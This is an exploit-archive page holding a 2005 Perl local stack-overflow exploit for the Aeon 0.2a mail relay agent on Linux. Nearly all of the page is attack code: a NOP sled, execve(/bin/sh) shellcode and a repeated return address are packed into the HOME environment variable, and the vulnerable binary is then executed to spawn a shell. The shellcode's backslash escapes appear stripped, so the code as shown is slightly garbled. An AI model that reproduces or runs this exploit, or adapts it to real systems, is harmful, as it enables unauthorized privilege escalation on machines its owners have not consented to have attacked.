Aeon 0.2a Local Linux Exploit (perl code)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Aeon 0.2a Local Linux Exploit (perl code)
# Published : 2005-04-05
# Author : lammat
# Previous Title : AIX 4.3/5.1 - 5.3 lsmcode Local Root Command Execution
# Next Title : BakBone NetVault 6.x/7.x Local Stack Buffer Overflow Exploit

#!/usr/bin/perl
#                       Aeon-mail relay agent for Linux                                   *
#                                                                                         *
#           written by lammat just for practice purposes                                  *
#                       tested against aeon-0.2a                                          *
#                       http://grpower.ath.cx		                                  *
#		          lammat@iname.com			                          *


#  execve(/bin/sh) for linux x86
#   29 bytes
#   by Matias Sedalo



$shellcode = 
"x31xdbx53x8dx43x17xcdx80x99x68x6ex2fx73x68x68".
"x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80";


$buf = 528; 
$ret = 0xbfffe122; 
$nop = "x90";

if (@ARGV == 1) {
$offset = $ARGV[0];
}

for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}


$buffer .= $shellcode;


print("Address: 0x", sprintf('%lx',($ret + $offset)), "n");


$new_ret = pack('l', ($ret + $offset));

until (length($buffer) == $buf) {
$buffer .= $new_ret;
}

local($ENV{'HOME'}) = $buffer; exec("/home/lammat/aeon-0.2a/aeon $i");

# www.Syue.com [2005-04-05]